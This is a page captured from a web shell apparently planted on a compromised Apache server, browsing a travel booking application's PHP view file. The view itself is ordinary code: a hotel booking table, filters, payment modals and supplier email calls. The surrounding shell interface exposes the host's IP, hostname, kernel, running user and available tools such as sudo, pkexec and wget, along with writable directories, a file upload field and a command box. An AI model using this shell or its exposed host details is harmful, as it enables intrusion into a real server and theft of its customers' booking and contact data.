403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/bookinghotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/bookinghotel/hotel-booking-request.phtml
<?php
                                                                                
$IsCallCenter = Travel_Model_AgencyAuth::getIdentity()->IsCallCenter;
//echo '<pre>'; print_r($this->hotelList);
$customhelper = Zend_Controller_Action_HelperBroker::getStaticHelper('Custom');
$AgencyUser = new Zend_Session_Namespace('AgencyUser');
$IsMaskingOnEmailAndMobile = $AgencyUser->user->IsMaskingOnEmailAndMobile;
$arrStatusType = $customhelper->getAllStatusType();
?>

<body class="">
    <!--Navigation Top Bar Start-->

    <!--Navigation Top Bar End-->

    <!--Left navigation section end-->


    <!--Page main section start-->
    <section id="min-wrapper" class="active">
        <div id="main-content">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12">
                        <!--Top header start-->
                        <h3 class="ls-top-header">Hotels Booking</h3>
                        <!--Top header end -->

                        <!--Top breadcrumb start -->
                        <ol class="breadcrumb">
                            <li><a href="#"><i class="fa fa-home"></i></a></li>
                            <li class="active">Booking</li>
                            <li class="active">Hotels</li>
                        </ol>
                        <!--Top breadcrumb start -->
                    </div>
                </div>
                <!-- Main Content Element  Start-->
                <div class="row">


                    <div class="col-md-12">
                        <div class="successMessage">
                            <?php
                            if (!empty($this->messages)) {
                                echo ($this->messages[0]);
                            }
                            ?>
                        </div>
                    </div>





                    <div class="col-md-12">
                        <div class="panel panel-primary">
                            <div class="panel-heading">
                                <h3 class="panel-title" onClick="$('.minus').trigger('click')"><img
                                        src="<?php echo $this->baseUrl('public/images/query_dashboard/filtericon.png'); ?>">
                                    Filter By</h3>
                                <ul class="panel-control">
                                    <li><a class="minus active" href="javascript:void(0)"><i
                                                class="fa fa-angle-down large"></i></a></li>
                                </ul>
                            </div>
                            <div class="panel-body" style="display:none;">
                                <form name="filter_frm" method="post" class="ls_form" role="form">
                                    <div class="row">
                                        <div class="col-md-4">
                                            <div class="form-group">
                                                <label>Hotel Name</label>
                                                <input name="hotel_name" id="hotel_name" placeholder="Hotel Name..."
                                                    value="<?php echo !empty($this->strHotelName) ? $this->strHotelName : ''; ?>"
                                                    type="text" class="form-control whbg">
                                            </div>
                                        </div>
                                        <div class="col-md-4">
                                            <div class="form-group">
                                                <label>Booking Date</label>
                                                <input name="booking_date" id="booking_date" placeholder="DD-MM-YYYY"
                                                    value="<?php echo !empty($this->strBookingDate) ? $this->strBookingDate : ''; ?>"
                                                    readonly="" type="text" class="form-control whbg datePickerOnly">
                                            </div>
                                        </div>
                                        <div class="col-md-4">
                                            <div class="form-group">
                                                <label>Status</label>
                                                <select id="booking_status" name="booking_status"
                                                    class="demo-default select-country" placeholder="Select">
                                                    <option value="0">Select</option>
                                                    <?php
                                                    if (!empty($arrStatusType) ) {
                                                        foreach ($arrStatusType as $intKey => $strStatus) {
                                                            if ($intKey == $this->intBookingStatus) {
                                                                $selected = "selected";
                                                            } else {
                                                                $selected = "";
                                                            }
                                                    ?>
                                                    <option value="<?php echo $intKey; ?>" <?php echo $selected; ?>>
                                                        <?php echo $strStatus; ?></option>
                                                    <?php
                                                        }
                                                    }
                                                    ?>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-md-12">
                                            <div class="form-group form-group1 flexipadding pull-right ">
                                                <button
                                                    onClick="window.location.href = '<?php echo $this->baseUrl('/bookinghotel'); ?>'"
                                                    class="btn btn-primarygray" type="button">Reset</button>
                                                <button class="btn btn-primary" type="submit"><i
                                                        class="fa fa-search"></i> Filter</button>

                                            </div>
                                        </div>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>








                    <div class="col-md-12">

                        <div class="panel-body table-responsivenew leadeBorder leadeBorder2 ">
                            <div class="clearfix"></div>
                            <form action="" method="post" id="query_status">
                                <div class="col-md-12 no-padding filter_status_report">
                                    <ul class="mobile_scrolling">
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/today'); ?>"
                                                class="btn <?php echo $source == 'today' || $source == '' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return activateUsers();">Today</a></li>
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/current-week'); ?>"
                                                class="btn <?php echo $source == 'current-week' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return deactivateUsers();">Current Week</a></li>
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/last-week'); ?>"
                                                class="btn <?php echo $source == 'last-week' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return deleteMarketingList();">Last Week</a></li>
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/current-month'); ?>"
                                                class="btn <?php echo $source == 'current-month' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return deleteMarketingList();">Current Month</a></li>
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/last-month'); ?>"
                                                class="btn <?php echo $source == 'last-month' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return deleteMarketingList();">Last Month</a></li>
                                        <li><a href="<?php echo $this->baseUrl('/bookinghotel/index/filter/overall'); ?>"
                                                class="btn <?php echo $source == 'overall' ? 'btn-warning' : 'btn-danger'; ?> btn-sm"
                                                onclick="return deleteMarketingList();">Over All</a> </li>

                                        <li class=""> <input name="from_date" id="report_from_date" type="text"
                                                class="form-control  whbg report_from_date"
                                                value="<?php echo (isset($this->from_date1) && $this->from_date1 != '') ? $this->from_date1 : ''; ?>">
                                        </li>
                                        <li class=""> <input name="to_date" id="report_to_date" type="text"
                                                class="form-control  whbg report_to_date"
                                                value="<?php echo (isset($this->to_date1) && $this->to_date1 != '') ? $this->to_date1 : ''; ?>">
                                        </li>
                                        <!-- <li class=""><a href="javascript://" class="btn btn-primarygray" onclick="submit_queryDate()">Submit</a>   </li> -->
                                        <li> <button class="btn btn-primary  btn-sm" type="submit" id="filter_query">
                                                Submit</button> </li>

                                    </ul>
                                </div>
                            </form>
                            <div class="clearfix"></div>
                            <div class="table-responsive">
                                <table class="table tablestyle sortable-theme-bootstrap">
                                    <thead>
                                        <tr class="alert alert-graylight">
                                            <th width="6%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Booking Date</th>
                                            <th width="6%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Travel Date</th>
                                            <th width="15%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Hotel Name</th>
                                            <th width="6%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Booking&nbsp;ID</th>

                                            <th width="7%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Check In /<br> Check Out</th>
                                            <th width="7%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Pax</th>
                                            <th width="7%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">City</th>
                                            
                                            <th width="8%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Total Amount</th>
                                            <th width="8%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">paid Amount</th>
                                            <th width="8%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Balance </th>
                                            <th width="10%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Customer Detail</th>
                                            <th width="10%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Booked By</th>
                                            <th width="15%" align="left" valign="top" class="small smallbold"
                                                data-sortable="true" data-sorted="true"
                                                data-sorted-direction="descending">Status</th>
                                            <th width="10%" align="left" valign="top" class="small smallbold"
                                                data-sortable="false">Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php
                                        $objPkgBooking = new Travel_Model_TblPackageBooking();
                                        $customhelper = Zend_Controller_Action_HelperBroker::getStaticHelper('Custom');
                                        if (!empty($this->arrHotelBookingList) ) {
                                            //echo "<pre>";print_r($this->arrHotelBookingList); echo "</pre>";//exit;
                                            $objBuyHotel = new Travel_Model_TblBuyHotel();
                                            $h = 0;
                                            foreach ($this->arrHotelBookingList as $value) {
                                                // echo "<pre>";
                                                // print_r($value);
                                                // echo "</pre>";

                                                $intCustomerSysId = $value['CustomerSysId'];
                                                $intTPSysId = $value['TPSysId'];
                                                $arrTrevllerDetails = $objBuyHotel->GetAgencyCustomerDetailsForBooking($intCustomerSysId, $intTPSysId);
                                                $strFirstName = $arrTrevllerDetails['FirstName'];
                                                $strLastName = $arrTrevllerDetails['LastName'];
                                                $strEmailId = $arrTrevllerDetails['EmailId'];
                                                $strContacts = $arrTrevllerDetails['Contacts'];
                                                $countrycode = $arrTrevllerDetails['countrycode'];

                                                $intNetCost = trim($value['NetCost']);
                                                $intAgencyMarkUp = trim($value['AgencyMarkUp']);
                                                $intGTXMarkup = trim($value['GTXMarkup']);
                                                $intXServiceTaxAmount = trim($value['XServiceTaxAmount']);
                                                $intGTXServiceTaxAmount = trim($value['GTXServiceTaxAmount']);
                                                $intAgentServiceTaxAmount = trim($value['AgentServiceTaxAmount']);
                                                
                                                $TotalAmountPaid =  (isset($value['TotalAmountPaid']) && !empty($value['TotalAmountPaid'])) ? ($value['TotalAmountPaid']) : 0;
//                                                $arrBookingDate = (array) $value['bookingDate'];
//                                                $strBookingDate = Zend_Controller_Action_HelperBroker::getStaticHelper('Flight')->getDateFormatFromDbDates($arrBookingDate['date']);

                                                //$arrFromDate = (array) $value['FromDate'];
                                                //$strFromDate = Zend_Controller_Action_HelperBroker::getStaticHelper('Flight')->getDateFormatFromDbDates($arrFromDate['date']);
                                                //$arrToDate = (array) $value['ToDate'];
                                                //$strToDate = Zend_Controller_Action_HelperBroker::getStaticHelper('Flight')->getDateFormatFromDbDates($arrToDate['date']);

                                                $strXRefBookingId = $value['XRefBookingId'];
                                                $arrBookingId = explode("/", $strXRefBookingId);
                                                $strBookingId = trim($arrBookingId[0]);

                                                $uid = $value['CustomerSysId'] . ':' . $value['TPSysId'] . ':' . $value['MasterTPSysId'];
                                                $display = 'unique:yes';
                                                $uid = $this->controller->getEnc($uid);
                                                $display = $this->controller->getEnc($display);

                                                $currencySymbol = $customhelper->GetCurrencyByCurrencyType($value['CurrencyType']);

                                                $agtFirstName = $value['agtFirstName'];
                                                $agtLastName = $value['agtLastName'];

                                                if ($value['ToDate'] != '') {
                                                    //echo "sadsad"; exit;
                                                    if ($value['PackSpecType'] == 4) {
                                                        $ToDate = $value['ToDate']->format('Y-m-d');
                                                        $ToDate1 = date('d-M-y', strtotime($ToDate . ' - 1 days'));
                                                    } else {
                                                        $ToDate1 = $value['ToDate']->format('d-M-y');
                                                    }
                                                } else {
                                                    $ToDate1 = '';
                                                }
                                                $travellerDetail = isset($value['RoomInfoJson']) && $value['RoomInfoJson'] != '' ? json_decode($value['RoomInfoJson']) : 0;
                                                $adultPax = 0;
                                                $childPax = 0;
                                                if (is_object($travellerDetail)) {
                                                    foreach ($travellerDetail as $res) {
                                                        $adultPax += $res->Adult;
                                                        $childPax += $res->Child;
                                                    }
                                                }
                                                //echo "askjdhksa";
                                                //exit;
                                                //echo '<pre>'; print_r($val);
                                        ?>
                                        <tr class="alert alert-warning small">
                                            <td><?php echo $value['UpdateDate']->format('d-M-y'); ?></td>
                                            <td><?php echo $value['StartDate']->format('d-M-y'); ?></td>
                                            <td align="left">
                                                <?php echo ($value['hotelName'] != '') ? $value['hotelName'] : $value['hotelNameInv']; ?>
                                            </td>
                                            <td align="left">
                                                <?php echo !empty($value['XRefBookingId']) ? $value['XRefBookingId'] : $value['TPSysId']; ?>
                                            </td>


                                            <td><?php if ($value['FromDate'] != '') {
                                                                        echo $value['FromDate']->format('d-M-y') . '/<br>';
                                                                    }   ?> <?php echo $ToDate1;   ?></td>
                                            <td align="center">
                                                <?php echo $adultPax . " Adult(s)"; 
                                                        echo $childPax > 0 ? "," . $childPax . " Kid(s)" : '';
                                                        ?> </td>
                                            <td align="left">
                                                <?php echo (trim($value['cityTitle']) != '') ? stripslashes($value['cityTitle']) : stripslashes($value['SourcePlaces']); ?>
                                            </td>
                                            
                                            <td align="left">
                                                <?php 
                                                        echo $currencySymbol['Symbol']; ?> <?php echo number_format($value['NetPrice'], 2); 
                                                        if($value['isOnlyHotelPackage'] == 1){
                                                        ?>
                                                <br>
                                                <a class="viewtext_red myModalViewAddons"
                                                    href="<?php echo $this->baseUrl('crm/query/get-addon-data/id/'.base64_encode($value['TPSysId']));?>"
                                                    data-toggle="modal" data-target="#getAddonDataModal"><span
                                                        class="blueview_text">(View)</span> </a>
                                                <?php } ?>
                                            </td>
                                            <td align="left"><?php echo $currencySymbol['Symbol']; ?>
                                                <?php echo (!empty($TotalAmountPaid)) ? number_format($TotalAmountPaid, 2) : '--'; ?>
                                            </td>
                                            <td align="left"><?php echo $currencySymbol['Symbol']; ?>
                                                <?php echo (!empty($value['NetPrice'])) ? number_format(($value['NetPrice'] - $TotalAmountPaid), 2) : '--'; ?>
                                            </td>

                                            <td align="left">
                                                <span>
                                                    <?php 
                                                    echo ($value['IsB2BProposal']) ? trim($value['CompanyName']).'<br>' : '';
                                                    echo !empty($strFirstName) ? $strFirstName. ' ' . $strLastName : 'NA'; ?>
                                                </span>
                                                <br />
                                                <span valign="top" title="<?php echo $strEmailId; ?>">
                                                    <?php echo $strEmailId ? $customhelper->hideEmailidCharacters(stripslashes($strEmailId), $IsMaskingOnEmailAndMobile) : ''; ?>
                                                </span>
                                                <br />
                                                <span valign="top" title="<?php echo $strContacts; ?>">
                                                    <?php
                                                      if ($IsCallCenter == 1) {
                                                     echo $strContacts ?  "<a href='javascripts://' onclick='callInitiated(" . $strContacts . ")'><i class='fa fa-phone' aria-hidden='true'></i>:+". $countrycode.'-'.  $customhelper->hidePhoneNumberDigit(stripslashes($strContacts), $IsMaskingOnEmailAndMobile).'</a>' : '';
                                                    } else {
                                                        echo $strContacts ? "<a href='tel:" . $strContacts . "'><i class='fa fa-phone' aria-hidden='true'></i>:+". $countrycode.'-'.  $customhelper->hidePhoneNumberDigit(stripslashes($strContacts), $IsMaskingOnEmailAndMobile).'</a>' : '';
                                                    }
                                                      ?>
                                                </span>
                                            </td>
                                            <td><?php echo !empty($agtFirstName) ? $agtFirstName : ''; ?>
                                                <?php echo !empty($agtLastName) ? $agtLastName : ''; ?></td>
                                            <td align="left"><span id="status_<?php echo $h; ?>"
                                                    class="proposalStatus"><?php echo $customhelper->GetTravelPlanStatusName(2, $value['StatusType']); ?></span>
                                            </td>
                                            <td align="left">
                                                <?php
                                                        if ($value['FromDate'] != '') {
                                                            $hotelFromDate = strtotime($value['FromDate']->format('Y-m-d'));
                                                        } else {
                                                            $hotelFromDate = '';
                                                        }
                                                        $curdate = strtotime(date('Y-m-d'));
                                                        // echo $curdate."/".$hotelFromDate;
                                                        if (isset($value['isOnlyHotelPackage']) && $value['isOnlyHotelPackage'] != 1) {
                                                            if ($curdate > $hotelFromDate) {
                                                                $allStatusDisplayArrayById = $customhelper->getDisplayStatusByStatusId($value['StatusType'], '', 'hotel', 2, 18);
                                                            } else {
                                                                $allStatusDisplayArrayById = $customhelper->getDisplayStatusByStatusId($value['StatusType'], '', 'hotel', 2, 18);
                                                            }
                                                        } else {
                                                            if ($curdate > $hotelToDate) {

                                                                $allStatusDisplayArrayById = $customhelper->getDisplayStatusByStatusId($value['StatusType'], '', 'package', 2, 15);
                                                            } else {
                                                                $allStatusDisplayArrayById = $customhelper->getDisplayStatusByStatusId($value['StatusType'], '', 'package', 2, 15);
                                                            }
                                                        }
                                                        //echo "<pre>";print_r($allStatusDisplayArrayById);die;
                                                        ?>
                                                <div class="btn-group" id="hotel_<?php echo $value['TPSysId']; ?>">
                                                    <input type="hidden"
                                                        id="packageCurrency_<?php echo $value['TPSysId']; ?>"
                                                        value="<?php echo $this->CurrencySymbol[$value['CurrencyType']]; ?>">
                                                    <button type="button" class="btn btn-danger btn-sm dropdown-toggle"
                                                        data-toggle="dropdown">
                                                        Select <span class="caret"></span>
                                                    </button>
                                                    <ul class="dropdown-menu pull-right" role="menu">
                                                            
                                                        <li><a href="<?php echo $this->baseUrl('/proposal/preview-hotel-result-inv/mid/' . base64_encode($value['MasterTPSysId']) . '/pid/' . base64_encode($value['TPSysId']) . '/uid/' . base64_encode($uid) . '/type/' . base64_encode($display)); ?>"
                                                                target="_blank">View Details </a>
                                                        </li>
                                                        <li><a href="javascript://" onclick="requestHoldConfirmationToSupplier(<?php echo $value['TPSysId']; ?>,1)">Request Hold to Supplier </a>
                                                        </li>
                                                        <li><a href="javascript://" onclick="requestHoldConfirmationToSupplier(<?php echo $value['TPSysId']; ?>,2)">Confirmation to Supplier </a>
                                                        </li>
                                                        <li><a href="javascript://" onclick="requestHoldConfirmationToSupplier(<?php echo $value['TPSysId']; ?>,3)" >Request Payment from Customer </a>
                                                        </li>
                                                        <li><a href="javascript://" onclick="alert('Work in Progress');">Cancel/Discard </a>
                                                        </li>
                                                        <li><a href="javascript://" onclick="alert('Work in Progress');">Fullfillment </a>
                                                        </li>
                                                        <?php if ($value['StatusType'] != 17) { ?>
                                                        <li><a href="javascript://" onclick="updatePayment('<?php echo $value['TPSysId']; ?>', '<?php echo $value['NetPrice']; ?>', '<?php echo $TotalAmountPaid; ?>');">Update Payment </a>
                                                        </li>
                                                        <?php } ?>
                                                        <li><a href="javascript://" onclick="alert('Work in Progress');">Voucher </a> </li>
                                                        <li><a  href="javascript://" onclick="alert('Work in Progress');">Modify </a> </li>
                                                        <li><a  href="javascript://" onclick="alert('Work in Progress');">Invoice </a> </li>

                                                        
                                                    </ul>
                                                </div>
                                            </td>
                                        </tr>
                                        <?php
                                                $h++;
                                            }
                                        } else {
                                            ?>
                                        <tr class="alert alert-warning small">
                                            <td colspan="11">No records available!</td>
                                        </tr>
                                        <?php } ?>



                                    </tbody>
                                </table>
                            </div>

                            <div class="panel-box clearfix">
                                <?php if (!empty($this->arrHotelBookingList) ) { ?>
                                <?php echo $this->paginationControl($this->arrHotelBookingList, 'Sliding', 'pagination.phtml'); ?>
                                <?php } ?>
                            </div>



                            <div class="clearfix"></div>
                        </div>
                    </div>
                </div>

                <!-- Main Content Element  End-->
            </div>
        </div>


        <?php echo $this->render('copyrightfooter.phtml'); ?>

        <script src="<?php echo $this->baseUrl('public/assets/js/bootstrap3-typeahead.js'); ?>"></script>
        <script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/jquery.validate.min.js'); ?>">
        </script>
        <script type="text/javascript" src="<?php echo $this->baseUrl('public/js/buyhotel/buyhotellist.js'); ?>">
        </script>

        <script src="<?php echo $this->baseUrl('public/js/customer/customer.js'); ?>"></script>
        <script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/customer.js'); ?>"></script>
        <script src="<?php echo $this->baseUrl('public/assets/ckeditor/ckeditor.js'); ?>"></script>
        <?php include_once 'application/views/scripts/newfooter.phtml'; ?>
    </section>
    <script type="text/javascript">
    $(document).ready(function() {
        $('#booking_date').datetimepicker({
            format: 'd-m-Y',
            timepicker: false,
            maxDate: 0
        });
        $('#checkIn_date').datetimepicker({
            format: 'd-m-Y',
            timepicker: false,
            //maxDate: 0
        });
        $('#getAddonDataModal').on('hidden.bs.modal', function() {
            $(this).removeData('bs.modal');
        });
    });
    function requestHoldConfirmationToSupplier(TPSysId,type){  
        $.ajax({
            url: '/bookinghotel/email-to-supplier',
            data: { 'TPSysId':TPSysId ,'type':type  },
            dataType: 'html',
            type: 'POST',
            error: function () {

            },
            beforeSend: function () {
                $('#getAddonDataModal').removeData('bs.modal');
                 
            },
            success: function (response) {
                $('#getAddonDataModal').modal('show');
                $(".getAddonDataModalContent").html(response);
                CKEDITOR.replace('EmailContent', {height  : '400px',});
            }
        });
    }
    function closeModal(){
        $('#getAddonDataModal').modal('hide');
    }
    function sendEmailToSupplier(){
        var data = $('#send-email-supplier').serialize();
        $.ajax({
            url: '/bookinghotel/send-email-to-supplier',
            data: data,
            dataType: 'json',
            type: 'POST',
            error: function () {

            },
            beforeSend: function () {
                 
                 
            },
            success: function (response) {
                if(response.status == true){
                    alert(response.message);
                    closeModal();return false;
                }else{
                    alert(response.message);return false;
                }
            }
        });
    }
    </script>





    <div class="modal fade" id="update-payment" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
        aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                    <h4 class="modal-title" id="myModalLabel">Update Payment</h4>
                </div>
                <div class="modal-body">
                    <div class="col-md-12 no-padding">
                        <div class="col-md-7">

                            <input class="icheck-black1111" type="radio" checked="checked" name="payment_type"
                                id="payment_type_online" value="1">
                            <label for="payment_type_online" class="leftsidearea">Online (Send Payment
                                Reminder)</label>&nbsp;
                        </div>
                        <div class="col-md-5">

                            <input class="icheck-black1111" type="radio" name="payment_type" id="payment_type_offline"
                                value="2">
                            <label for="payment_type_offline" class="leftsidearea">Offline</label>
                        </div>

                    </div>
                    <div class="clear">&nbsp;</div>


                    <div class="col-md-12 no-padding" id="payment_table_online">

                        <div class="col-md-8">
                            <table class="table tablestyle">
                                <tbody>
                                    <tr>
                                        <td><label class="radio no-margin inlinebl"> Package Cost </label> <span
                                                style="text-align:center; font-size: 12px;">(Inc. GST)</span></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                id="pkgCostOnline"></span>
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><label class="radio no-margin inlinebl"> Amount Received </label></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                id="amountPaidOnline"></span></td>
                                    </tr>
                                    <tr>
                                        <td><strong>OutStanding Bal.</strong><br></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                class="outStandingBalOnline"></span></td>
                                    </tr>

                                </tbody>






                            </table>
                        </div>

                    </div>



                    <div class="col-md-12 no-padding" id="payment_table_offline" style="display:none;">

                        <div class="col-md-12">
                            <table class="table tablestyle ">
                                <tbody>
                                    <tr>
                                        <td><label class="radio no-margin inlinebl"> Package Cost </label> <span
                                                style="text-align:center; font-size: 12px;">(Inc. GST)</span></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span id="pkgCost"></span>
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><label class="radio no-margin inlinebl"> Amount Received </label></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                id="amountPaid"></span>
                                        </td>
                                    </tr>

                                    <tr>
                                        <td>

                                            <input type="radio" name="bookingPayment" id="fullPayment" value=""
                                                class="icheck-black1" checked="" />
                                            <label for="fullPayment" class="leftsidearea">Full Payment</label>

                                        </td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                id="remainingBalance"></span></td>
                                    </tr>

                                    <tr>
                                        <td>

                                            <input type="radio" name="bookingPayment" id="flexiblePayment" value=""
                                                class="icheck-black1" />
                                            <label for="flexiblePayment" class="leftsidearea">Flexible Payment</label>

                                        </td>
                                        <td class="pull-right" style="border:0px;">
                                            <span class="CurrencyHtml pull-left"></span>&nbsp;
                                            <input type="text" name="flex_pay" id="flex_pay" value=""
                                                class="form-control whbg" style="text-align:right; width: 120px">
                                        </td>
                                    </tr>



                                    <tr>
                                        <td><strong>Outstanding Amount</strong><br></td>
                                        <td align="right"><span class="CurrencyHtml"></span> <span
                                                class="outStandingBal"></span></td>
                                    </tr>

                                </tbody>


                                <form id="form_repayment" method="post" name="form_repayment" action="">
                                    <input name="paymentType" id="paymentType" value="1" type="hidden">
                                    <input name="guid" id="guid_repayment" value="" type="hidden">
                                    <input name="securecode" id="securecode_repayment" value="" type="hidden">
                                    <input name="Firstname" id="Firstname" value="" type="hidden">
                                    <input name="email" id="email" value="" type="hidden">
                                    <input name="phone" id="phone" value="" type="hidden">
                                    <input id="premium_val" name="amount" value="" type="hidden">
                                    <input name="AgencyUserSysId" id="AgencyUserSysId" value="" type="hidden">
                                    <input name="AgencySysId" id="AgencySysId" value="" type="hidden">
                                    <input name="TrxType" id="TrxType" value="" type="hidden">
                                    <input name="PlanType" id="PlanType" value="5" type="hidden">
                                    <input name="TPSysId" id="TPSysId" value="" type="hidden">
                                    <input name="IsCardChrgToCustomer" id="IsCardChrgToCustomer" value="" type="hidden">
                                    <input name="CustomerSysId" id="CustomerSysId" value="" type="hidden">
                                    <input name="returnURL" id="returnURL" value="" type="hidden">
                                    <input name="stringData" id="stringData" value="" type="hidden">
                                    <input name="errorURL" id="errorURL" value="" type="hidden">
                                </form>





                            </table>
                        </div>

                    </div>

                    <div class="col-md-12 no-padding">

                        <div class="form-group form-group1 flexipadding pull-right" id="offline-buttons">
                            <button onclick="closeModal();" class="btn btn-primarygray" type="button">Cancel</button>
                            <button class="btn btn-primary" onclick="offlinePaymentProcess();" type="submit"><i
                                    class="fa fa-search"></i> Submit</button>
                        </div>

                        <div class="form-group form-group1 flexipadding" id="offline-buttons-inprocess"
                            style="display:none;">
                            <img src="<?php echo $this->baseUrl('public/assets/images/loader.gif'); ?>"> Please Wait...
                        </div>


                    </div>
                    <div class="clear"></div>

                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="payment-history" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
        aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                    <h4 class="modal-title" id="myModalLabel">Payment History</h4>
                </div>
                <div class="col-md-12 no-padding">
                    <div class="panel">
                        <div class="panel-body">
                            <div class="col-md-12 table-responsive no-padding overflowflight" id="history_response">
                            </div>
                            <div class="clearfix"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade in" id="getAddonDataModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
        aria-hidden="false" style="display: none;">
        <div class="modal-dialog modal-lg">
            <div class="modal-content ">
            <div class="col-md-12 no-padding ">
                <div class="panel">
                    <div class="panel-body getAddonDataModalContent">
                         
                    </div>
                </div>
            </div>      
            </div>
        </div>
    </div>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit